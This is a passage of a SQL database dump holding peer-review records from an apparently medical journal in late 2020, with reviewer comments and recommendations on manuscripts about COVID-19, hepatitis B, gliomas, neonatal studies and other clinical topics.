valid. It is felt that this systematic review will be a valuable addition to the ever-expanding COVID-19 literature. Therefore, I strongly recommend that the paper should be accepted for publication with only minor modifications.  ','2020-10-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2529,10393,6419,NULL,'4','G','Y','Y','Y','This is an interesting study and the manuscript is well written. I have a few suggestions for the betterment of the script.\r\n1. In the introduction, the statistics for HM is from 2012 which is very old. Most recent statistics need to be provided. Also, references need to be updated and more recent ones need to be used.\r\n2. English needs to be improved.\r\n3. in the table the p values and significance need to be provided for the result having a significant difference.','This is an interesting study and the manuscript is well written. I have a few suggestions for the betterment of the script.\r\n1. In the introduction, the statistics for HM is from 2012 which is very old. Most recent statistics need to be provided. Also, references need to be updated and more recent ones need to be used.\r\n2. English needs to be improved.\r\n3. in the table the p values and significance need to be provided for the result having a significant difference.','2020-10-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2548,13180,6420,NULL,'6','R','Y','Y','Y','Article is fit for publication, research work is done very genuinely and results are good','Can Publish','2020-11-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2549,13180,6424,NULL,'6','g','y','y','y','Research work is good','Can go for publication work','2020-11-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2550,13180,6429,NULL,'6','R','y','y','y','research work is done very genuinely and results are good ','Can publish','2020-11-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2551,13180,6443,NULL,'6','g','y','y','y','Review is done perfectly. Explanation are justified and can go for publication.','Can publish in your journal','2020-11-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2552,13180,6457,NULL,'6','R','y','y','y','article is fit for publication','Can publish','2020-11-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2561,10962,6153,NULL,'4','g','y','y','y','well written manuscript. i have few suggestions.\r\n( 10.21802/gmj.2019.2.11) and (DOI: 10.1111/tbj.14072 ) ? suggest both of these uptodate studies for the references','i ll evaulate after revision','2020-11-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2562,10684,6086,NULL,'4','g','y','y','y','( DOI: 10.1111/tbj.14072 ) and (https://doi.org/10.31832/smj.376327) suggested studies for the references','','2020-11-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2563,10684,6086,NULL,'4','g','y','y','y','( DOI: 10.1111/tbj.14072 ) and (https://doi.org/10.31832/smj.376327) suggested studies for the references','','2020-11-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2564,10684,5293,NULL,'4','g','y','y','y','( DOI: 10.1111/tbj.14072 ) and (https://doi.org/10.31832/smj.376327) suggested studies for the references','','2020-11-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2570,12875,6584,NULL,'3','G','N','Y','N','The authors have put together the analysis of a simple online questionnaire. This one side of the coin. It would have been better if the authors had complemented with DIs of the so-called leaders of the hospital to look at the other side of the hospital seeking their opinion on issues related to a) level of training of their followership professionals and inventoried skillsets within the group of different specialty background. b) Information on emergency operations plans to align with COVID-19 guidance to include social distancing, use of PPEs, gloves, frequent hand-washing, and potential impacts to supply chain. b) The update on Continuity of  Hospital Operation Plans (COOP) to continue essential functions and address vulnerable population needs. d) Prioritization of resources to stabilize emergency and ongoing communications, the lifeline to initial and ongoing response to a catastrophic event.h) Considering the levels of the patients reaching the hospitals and extra time to use the Triad process of sorting people based on their need for immediate medical treatment as compared to their chance of benefiting from such care should have been assessed.','A good attempt at assessing the followership program but it is just looking at one side of the coin. Depth interviews (DIs)of the leaders of the hospital to complement or contradict this opinion would have a big value-add. If they can quickly talk to the leaders of the hospital and add to the manuscript it would be worthwhile.','2020-11-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2587,5409,5912,NULL,'5','g','y','y','n','Staphylococcus aureus evaluation has done in a good way and the research ahs done in with clarity. The results given are clear and best work recommending to publish.','','2020-11-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2591,10967,6216,NULL,'5','G','y','y','y','Good','Accept','2020-11-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2592,10967,5760,NULL,'5','G','Y','Y','Y','Good','Accept','2020-11-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2593,13225,6096,NULL,'4','G','Y','Y','Y','The article entitled \"An Extra dural haemorrhage following the treatment of an atypical presentation of a venous sinus thrombosis\" is a  case report article which explain a severe throbbing right sided headache, vomiting and fever for 3 days. And found that an atypical presentation of cavernous sinus thrombosis which developed a complication of an EDH during the course of treatment With proper figures the author explain it very nicely. The article is very interesting and useful for future study.  I suggest a small change i.e. the formatting and grammar after that this article can publish.','The article entitled \"An Extra dural haemorrhage following the treatment of an atypical presentation of a venous sinus thrombosis\" is a  case report article which explain a severe throbbing right sided headache, vomiting and fever for 3 days. And found that an atypical presentation of cavernous sinus thrombosis which developed a complication of an EDH during the course of treatment With proper figures the author explain it very nicely. The article is very interesting and useful for future study.  I suggest a small change i.e. the formatting and grammar after that this article can publish.','2020-11-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2609,10963,5902,NULL,'1','g','y','y','n','This cross-sectional study is aimed to determine the rate of exposure to HBV infection and to identify potential occupational and non-occupational risk factors among doctors and nurses residing in tertiary hospitals in Sana\'a city. The authors found a high prevalence of hepatitis B virus among doctors and nurses. Many workers in Sana\'a city have not received training in biosafety and fewer than half of the workers consistently use preventive measures such as wearing gloves during their work or taking vaccination. The authors conclude that there is a need to make vaccination of health care workers against HBV infection a critical policy and ensure complete and consistent adherence to work standard safety measures.\r\n\r\nComments:\r\n\r\n1.	The manuscript and its results have been previously published. RELEVANT REFERENCE: Al Makdad ASM, Al-Haifi AY, Al-Shamahy HA, Salah MK, Obaid AHA. Hepatitis B Virus Infection among Resident Physicians and Nurses in Tertiary Hospitals in Sana’a City, Yemen. Sur Cas Stud Op Acc J. 5(5)- 2020. SCSOAJ.MS.ID.000221. DOI: 10.32474/SCSOAJ.2020.05.000221.\r\n2.	The Annals of Clinical and Laboratory Research may decide to allow the publication of the text again (Republication). \r\n3.	POTENTIAL COMMENT: \r\nThe literature indicates that after several decades of hepatitis B vaccination the duration of protection is still unknown and the question whether a booster dose is ever needed continues to challenge researchers. Protection against disease is associated with immune memory which persists beyond the time when anti-HBs disappears. The question of when and at what age booster doses may be needed to guarantee continued protection is of major interest. \r\n4.	The role of the anti-aging gene Sirtuin 1 is critical to the success of vaccination programs. In the developing world the anti-aging gene may be repressed with inactivation of the immune system. The long term success of vaccines may depend in the activation of the Sirtuin 1 gene with the control of toxic immune reactions.\r\nRELEVANT REFERENCES:\r\nA.	Pierre Van Damme, Long-term Protection After Hepatitis B Vaccine, The Journal of Infectious Diseases, Volume 214, Issue 1, 1 July 2016, Pages 1–3, https://doi.org/10.1093/infdis/jiv750\r\nB.	Anti-Aging Genes Improve Appetite Regulation and Reverse Cell Senescence and Apoptosis in Global Populations. Advances in Aging Research, 2016, 5, 9-26\r\nC.	Single Gene Inactivation with Implications to Diabetes and Multiple Organ Dysfunction Syndrome. J Clin Epigenet.2017; Vol. 3 No. 3:24.\r\nD.	Insulin Therapy and Autoimmune Disease with Relevance to Nonalcoholic Fatty Liver Disease. Non Alcoholic Fatty Liver Disease. An Update. IntechOpen. 2018.\r\n\r\n\r\n','This cross-sectional study is aimed to determine the rate of exposure to HBV infection and to identify potential occupational and non-occupational risk factors among doctors and nurses residing in tertiary hospitals in Sana\'a city. The authors found a high prevalence of hepatitis B virus among doctors and nurses. Many workers in Sana\'a city have not received training in biosafety and fewer than half of the workers consistently use preventive measures such as wearing gloves during their work or taking vaccination. The authors conclude that there is a need to make vaccination of health care workers against HBV infection a critical policy and ensure complete and consistent adherence to work standard safety measures.\r\n\r\nComments:\r\n\r\n1.	The manuscript and its results have been previously published. RELEVANT REFERENCE: Al Makdad ASM, Al-Haifi AY, Al-Shamahy HA, Salah MK, Obaid AHA. Hepatitis B Virus Infection among Resident Physicians and Nurses in Tertiary Hospitals in Sana’a City, Yemen. Sur Cas Stud Op Acc J. 5(5)- 2020. SCSOAJ.MS.ID.000221. DOI: 10.32474/SCSOAJ.2020.05.000221.\r\n2.	The Annals of Clinical and Laboratory Research may decide to allow the publication of the text again (Republication). \r\n3.	POTENTIAL COMMENT: \r\nThe literature indicates that after several decades of hepatitis B vaccination the duration of protection is still unknown and the question whether a booster dose is ever needed continues to challenge researchers. Protection against disease is associated with immune memory which persists beyond the time when anti-HBs disappears. The question of when and at what age booster doses may be needed to guarantee continued protection is of major interest. \r\n4.	The role of the anti-aging gene Sirtuin 1 is critical to the success of vaccination programs. In the developing world the anti-aging gene may be repressed with inactivation of the immune system. The long term success of vaccines may depend in the activation of the Sirtuin 1 gene with the control of toxic immune reactions.\r\nRELEVANT REFERENCES:\r\nA.	Pierre Van Damme, Long-term Protection After Hepatitis B Vaccine, The Journal of Infectious Diseases, Volume 214, Issue 1, 1 July 2016, Pages 1–3, https://doi.org/10.1093/infdis/jiv750\r\nB.	Anti-Aging Genes Improve Appetite Regulation and Reverse Cell Senescence and Apoptosis in Global Populations. Advances in Aging Research, 2016, 5, 9-26\r\nC.	Single Gene Inactivation with Implications to Diabetes and Multiple Organ Dysfunction Syndrome. J Clin Epigenet.2017; Vol. 3 No. 3:24.\r\nD.	Insulin Therapy and Autoimmune Disease with Relevance to Nonalcoholic Fatty Liver Disease. Non Alcoholic Fatty Liver Disease. An Update. IntechOpen. 2018.\r\n\r\n\r\n','2020-11-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2610,10966,6216,NULL,'3','R','D','Y','Y','The paper is mostly well-written but there are a few concerns that need to be addressed.\r\n\r\n1) Please correct any grammatical errors in the paper to make it easier for the target audience to understand. For example, Page 5 Line 5, the word \"where\" was used instead of \"were\". Check the document for similar issues and correct accordingly.\r\n2) Please provide an explanation for the notable difference in the number of term neonates for the case (17) versus control group (1). Ideally, the number of samples in both the test and control groups should be equal for scientifically-sound results to be obtained AND for reliable conclusions to be drawn.\r\n3) Please refer to comment 2 above and provide an explanation for the difference in the number of pre-term neonates for the case (33) versus the control group (49).\r\n4) Please refer to comment 2 above and provide an explanation for the difference in number of samples based on delivery mode.','The paper is mostly well-written, but there are some questions and general comments that the authors need to address before the manuscript can be accepted for publication. ','2020-11-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2611,10966,6216,NULL,'3','R','D','Y','Y','The paper is mostly well-written but there are a few concerns that need to be addressed.\r\n\r\n1) Please correct any grammatical errors in the paper to make it easier for the target audience to understand. For example, Page 5 Line 5, the word \"where\" was used instead of \"were\". Check the document for similar issues and correct accordingly.\r\n2) Please provide an explanation for the notable difference in the number of term neonates for the case (17) versus control group (1). Ideally, the number of samples in both the test and control groups should be equal for scientifically-sound results to be obtained AND for reliable conclusions to be drawn.\r\n3) Please refer to comment 2 above and provide an explanation for the difference in the number of pre-term neonates for the case (33) versus the control group (49).\r\n4) Please refer to comment 2 above and provide an explanation for the difference in number of samples based on delivery mode.','The paper is mostly well-written, but there are some questions and general comments that the authors need to address before the manuscript can be accepted for publication. ','2020-11-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2616,12154,6518,NULL,'1','D','Y','N','y','There are several reasons for rejection. Starting from the formal side, there are several formatting flaws and typos. Figures have to be labeled below and tables above. Please check the citation standard there as well. Why figure 22? The table does need labeling. Why are the points \"one, two\" written out in words rather than in numerics? The style is passive with an intermediate switch to \"I\" which is not consequent.  \r\nFigure 22 does not add value and is not legible either. Its labels are not introduced in the text. The 4th clover leaf is finance, this is not covered in the analysis at all. \r\nThe proportion of contents is not suitable either. Stick to the most important facts around your hospital system, applying external references. SEAM is over-described, whereas the eclectic mix with PESTLE and SWOT are not justified. These are no methods but tools that can be filled by scientific methods such as interviews, observation, data analysis etc. The coding and basic methodology (interview questionnaire? exploratory? ethnographic?) are not covered. Sources of rigour and potential downsides as well as how these are addressed are missing. As suddenly the SEAM seems to have been taught to employees, the question is open, whether this is a change project rather than a piece of research.\r\nFinally the paradigm. Post-positivism does not apply here. Look into pragmatism as a paradigm and interpretivism as ontology. As long as the scientific lens is not clarified and justified, the overall methodological strategy will not be clear.\r\nOverall, it would be more polite and avoid unnecessary review loops to have the work proof-read and challenged in discussions among colleagues before submitting. ','Scientific rigour missing altogether. Reads like a project mixed with an advertisement for SEAM.','2020-11-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2618,13225,6350,NULL,'4','G','Y','Y','Y','The article entitled \" Retreatment in recurrences of high grade gliomas: feasibility of re-irradiation and concomitant chemotherapy\" is a research article which explain treatment approaches for high grade gliomas recurrences include second surgery, re-irradiation, systemic therapies and supportive cares. And found that re-irradiation associated with chemotherapy (Temozolomide) for recurrent high grade gliomas represents a good treatment option, with better OS. Treatment of rGBM requires a delicate balance between aggressiveness of treatment, outcome, cost of care, quality of life and a multidisciplinary evaluation. The article is very interesting and useful for future study. With proper figures and tables the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','The article entitled \" Retreatment in recurrences of high grade gliomas: feasibility of re-irradiation and concomitant chemotherapy\" is a research article which explain treatment approaches for high grade gliomas recurrences include second surgery, re-irradiation, systemic therapies and supportive cares. And found that re-irradiation associated with chemotherapy (Temozolomide) for recurrent high grade gliomas represents a good treatment option, with better OS. Treatment of rGBM requires a delicate balance between aggressiveness of treatment, outcome, cost of care, quality of life and a multidisciplinary evaluation. The article is very interesting and useful for future study. With proper figures and tables the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','2020-11-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2621,7287,6165,NULL,'1','G','S','Y','Y','Dear Author,\r\n\r\n\r\nThe topic is interesting, relevant and up-to-date, however, the article turns out to be poor.\r\n\r\n- Since it is a review article, criteria for inclusion and exclusion from the study should have been defined.\r\n- The figures presented should be referenced throughout the text. As if they appear out of context.\r\n- The account should also be taken off the figure\'s uniform formatting.\r\n- The author presents a table “Phase of Clinical Trial”, but it not referenced as a table and not referenced in the text.\r\n- The methodology used to address the 10 vaccines should be the same. For example, for some vaccines, the author mentions the number of participants, for others not. Criteria should have been defined to characterize each vaccine.\r\n- Inconsistencies appear: sometimes it appears Phase 1 and sometimes appears Phase I !!!!\r\n- “Outcome from animal studies showed “partial or complete protection in macaques” exposed to SARS-CoV-2, the vaccine is currently undergoing human clinical trials.”\r\nWhere did this information come from?\r\n- There is a lack of discussion and study limitations.\r\n- Lack of uniform formatting of bibliographic references.\r\n\r\n\r\nBest regards\r\n','Dear Editor,\r\n\r\nThe topic is interesting, relevant and up-to-date, however, the article turns out to be very poor.\r\n\r\nBest regards','2020-11-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2622,13225,6242,NULL,'4','G','Y','Y','Y','The article entitled \"BASILAR MEGADOLICHOECTASIA AND PITUITARY ADENOMA AS AN UNUSUAL CAUSE OF STROKE\" is a case report which explain intracranial arterial dolichoectasia is a dilation of the elastic tissue of the middle layer of the cranialarteries. These vessels can be seen to be dilated, elongated, and sometimes tortuous. And found that diagnosis with a left pontine infarct secondary to basilar megadolicostasia with aneurysm and mural thrombus, requiring rehabilitation treatment for months. The article is very interesting and useful for future study. With proper figure the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','The article entitled \"BASILAR MEGADOLICHOECTASIA AND PITUITARY ADENOMA AS AN UNUSUAL CAUSE OF STROKE\" is a case report which explain intracranial arterial dolichoectasia is a dilation of the elastic tissue of the middle layer of the cranialarteries. These vessels can be seen to be dilated, elongated, and sometimes tortuous. And found that diagnosis with a left pontine infarct secondary to basilar megadolicostasia with aneurysm and mural thrombus, requiring rehabilitation treatment for months. The article is very interesting and useful for future study. With proper figure the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','2020-11-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2636,10967,6538,NULL,'5','G','Y','Y','Y','Good','Accept','2020-11-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2637,10967,5902,NULL,'5','G','Y','Y','Y','Good','Accept','2020-11-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2648,7415,6630,NULL,'5','G','y','Y','Y','It is right that the ‘COVID-19 ‘virus is now omnipresent and that we should find ways to live with the virus with adequate precautions but we can make this step by locking down some of the routine services at least at the time being and for some categories of people (old people and those with chronic illnesses) to avoid the dramatic sequences on these categories and to decrease the pressure on medical resources until we have the vaccine. \r\nTo prefer open surgery to minimally invasive surgery is a debate too. The most important is to take all the precautions like putting on the proper PPEs, smoke evacuators, and minimization of the use of energy sources.\r\n','It is right that the ‘COVID-19 ‘virus is now omnipresent and that we should find ways to live with the virus with adequate precautions but we can make this step by locking down some of the routine services at least at the time being and for some categories of people (old people and those with chronic illnesses) to avoid the dramatic sequences on these categories and to decrease the pressure on medical resources until we have the vaccine. \r\nTo prefer open surgery to minimally invasive surgery is a debate too. The most important is to take all the precautions like putting on the proper PPEs, smoke evacuators, and minimization of the use of energy sources.','2020-11-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2654,10967,6631,NULL,'5','G','Y','Y','Y','Good','Accept','2020-11-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2664,14805,6731,NULL,'5','d','n','N','N','Great work','','2020-11-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2683,12763,6408,NULL,'5','G','y','y','y','Author presented an interesting study. This subject could be of great interest to the research community and could be largely used in the future.The title proposed by the authors is clear. The background information was well detailed. The text adds useful information and is not repetitive. The results were discussed from multiple angles and placed into context without being over-interpreted. The conclusion answers the aim of the study and is supported by the results.','Author presented an interesting study. This subject could be of great interest to the research community and could be largely used in the future.The title proposed by the authors is clear. The background information was well detailed. The text adds useful information and is not repetitive. The results were discussed from multiple angles and placed into context without being over-interpreted. The conclusion answers the aim of the study and is supported by the results.','2020-11-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2687,14805,6695,NULL,'5','d','N','N','N','good research ','','2020-11-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2691,10008,6191,NULL,'5','g','y','y','n','antimicrobial evaluation of bioactive prodigiosin potentials has given very clearly using a lengthy paper. It was well explained and written in understadable way to everyone. I prefer to publish this manuscript.','','2020-11-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2692,9054,6069,NULL,'5','g','y','y','n','antimicrobial evaluation of bioactive prodigiosin potentials has given very clearly using a lengthy paper. It was well explained and written in understadable way to everyone. I prefer to publish this manuscript.','','2020-11-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2694,12875,6677,NULL,'5','R','Y','M','y','Authors have presented a rare case of  A-CALCULUS GALL BLADDER PERFORATION WITH HUGE ABDOMINAL CYST. The diagnosis and surgical process followed is well accepted. However, one wonders why the case was not investigated in the last trimester. The Scan report and Photograph give a good illustration of the cyst. One would have benefitted of a follow-up report after 4 weeks.','Rare case report deserves publication.','2020-11-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2695,9108,6351,NULL,'5','g','y','y','n','One of the greatest threats that world health services have ever faced in this century is the COVID-19 pandemic. The novel coronavirus has significantly altered people\'s everyday lives beyond physical and geographical boundaries; but at the same time that measures restricting viral infection should be a pri- ority, it is also important to recognise and deal with the consequences that result from these acts. In this case, sleep is disrupted because, due to its relationship with the immune system and mental health, poor sleep affects the immune response, promoting the spread of infectious diseases and worsening the quality of life and mental health. Manuscript is organized well and helps to support further research and recommended to publish.\r\n','','2020-11-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2696,12875,6770,NULL,'3','R','N','M','N','The manuscript titled \'Impact of COVID-19 on emergency general surgical admissions\' and the methodology described initially was interesting at the outset. The control of one-month surgical emergency cases in 2019, is referred only for the number admitted and investigations done (CT scan of pelvis & abdomen). The addition of CT of the chest for 48% in 2020 as compared to 2% in 2019 and 41% of patients having had a COVID-19 swab on admission and only 8% of them were positive. Given the value add of CT chest for diagnosis of pneumonia has been missed. It is not clear if the Chest Scan and TR PCR were done for the same patients. Except for this basic information comparison, there is no value add to say that the study was a comparison. One would have liked to see the comparison of types of surgeries, outcomes, case fatality, and follow-up. The proportion of conservative management in 2020  (20%) could have been compared to 2019 easily, a missed opportunity','A good attempt to compare the impact of Covid-19 on surgical emergencies but except for the number and investigations done, nothing else had been compared. The fact that they were emergencies one expects very little change. If the authors can add the additional features it would be a better manuscript.','2020-11-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2699,11354,6732,NULL,'4','R','Y','Y','Y','Table 1a and 2b may be revised to have detailed information for raws and columns, and appropriate legends.','','2020-12-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2700,11354,6695,NULL,'4','R','Y','Y','Y','This is an important case report on cervical cystic lymphangioma. English Abstract may be revised to change \"a 45 subject\" into \"a patient of 45-year-old\", etc. ','','2020-12-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2701,11355,6732,NULL,'2','R','y','Y','y','The author tried to study the placental vascular density in the pre-eclampsia .The manuscript was not well organized. In ‘Introduction’ part the author didn’t clearly tell reader why they did this research and what question they wanted to answer and the background introduction is disorganized. The data look like not be statistical analyzed, as the statistical methods are not shown and there is no error bar shown on bar figure. The results’ presentation is also not good. Double staining even didn’t label what proteins the colors representing.  There are also many grammar and typing mistakes. The reference style is not consistent too. And the title is not very fit the content.','','2020-12-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2702,11355,6695,NULL,'5','R','Y','Y','Y','This author reported a case of the rare Cystic lymphangiomas. \r\nThe manuscript was well organized. English Expression is good. The picture presentation is well too.\r\n','','2020-12-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2708,14805,6765,NULL,'5','d','N','N','n','Interesting work. I congrats the authors ','','2020-12-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2709,10393,6683,NULL,'4','G','Y','M','Y','The study is well explained, however, the English need to be rewritten with proper spellings and grammar.\r\nThe Abstract needs to be shortened, at its present form, it\'s very long.\r\n','The study is well explained, however, the English need to be rewritten with proper spellings and grammar.\r\nThe Abstract needs to be shortened, at its present form, it\'s very long.','2020-12-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2712,14805,6732,NULL,'4','d','N','N','N','Interesting work ','','2020-12-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2737,15586,6769,NULL,'4','G','Y','Y','Y','The duration of the study is relatively short.\r\nThe table needs a title and legend.\r\nPlease add a short discussion.\r\n\r\n','Thanks for inviting me to review.\r\nPlease see my comments above.','2020-12-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2739,10779,5808,NULL,'5','g','y','y','y','This article accepted to publish in our journal','This article accepted to publish in our journal','2020-12-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2746,11689,5291,NULL,'5','g','y','y','y','The main objective of this study was to evaluate the associations between Overweight and several lifestyle factors, including physical activity, sedentary behaviors and dietary habits among adolescents Educational camps for children and adolescents with diabetes are known to promote the experience of a traditional camp in a prepared and safe environment, as well as allowing participants to share their experiences. The present study identified several Lifestyle and eating habits in childhood and adolescence. The aim of this study was to examine the quality of life, anxiety and affectivity in children and adolescents with type 1 diabetes (T1D) and after participating in a Educational Camps\r\n','The main objective of this study was to evaluate the associations between Overweight and several lifestyle factors, including physical activity, sedentary behaviors and dietary habits among adolescents Educational camps for children and adolescents with diabetes are known to promote the experience of a traditional camp in a prepared and safe environment, as well as allowing participants to share their experiences. The present study identified several Lifestyle and eating habits in childhood and adolescence. The aim of this study was to examine the quality of life, anxiety and affectivity in children and adolescents with type 1 diabetes (T1D) and after participating in a Educational Camps\r\n','2020-12-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2750,11354,6765,NULL,'4','R','Y','Y','Y','This is an important study on miRNA in plants and human. References indicating that human genome may code over 600 miRNAs may be added. Proofreading is needed.','','2020-12-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2751,8996,6775,NULL,'5','G','y','y','y','Thank you so much for the opportunity to review this interesting manuscript. \r\n1- the Manuscript provide sufficient background information for readers in the immediate field to understand\r\n2- the text is well arranged and structured\r\n3- Worth publishing and accept with out changes\r\n\r\n','Thank you so much for the opportunity to review this interesting manuscript. \r\n1- the Manuscript provide sufficient background information for readers in the immediate field to understand\r\n2- the text is well arranged and structured\r\n3- Worth publishing and accept with out changes\r\n\r\n','2020-12-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2752,10681,6764,NULL,'5','G','y','y','y','The manuscript is well written and organised in neat format, figures are clear enough to summarize the results to the readers. I believe the manuscript is worthy of publication.','The manuscript is well written and organised in neat format, figures are clear enough to summarize the results to the readers. I believe the manuscript is worthy of publication.','2020-12-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2753,5467,6808,NULL,'5','g','y','y','y','- This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n\r\n','','2020-12-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2757,15589,6572,NULL,'4','G','Y','Y','N','1.	Please mention the full words of Accord HC after the table\r\n2.	Please mention the full words before abbreviation ‘MHRA”\r\n3.	No references in the paper copy to be revised \r\n','','2020-12-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2759,10963,6741,NULL,'3','g','N','Y','N','The authors indicate that the usage of a technique for mutational screening depends upon a number of factors the size of the gene of interest and the available resources, sensitivity and specificity required. A common technique used to identify unknown mutations is single strand conformation polymorphism (SSCP) and the technique is simple, fast, sensitive and reproducible. The technique is easy to establish with minimal infrastructure and expenditure. SSCP is non radioactive and shows better resolution as compared to other mutation screening techniques like RFLP in distinguishing different mutations. SSCP is a simple and rapid method that is easily reproducible for detecting mutations (deletions, insertions and rearrangements) in PCR of amplified DNA.\r\nComments:\r\n1.	This short communication may need a conclusion section. The principles and troubleshoots of SSCP are clearly described by the authors but a conclusion section may be a key point to this short communication.\r\n2.	The authors may discuss the basic principles, routine practice, limitations and solutions of SSCP with 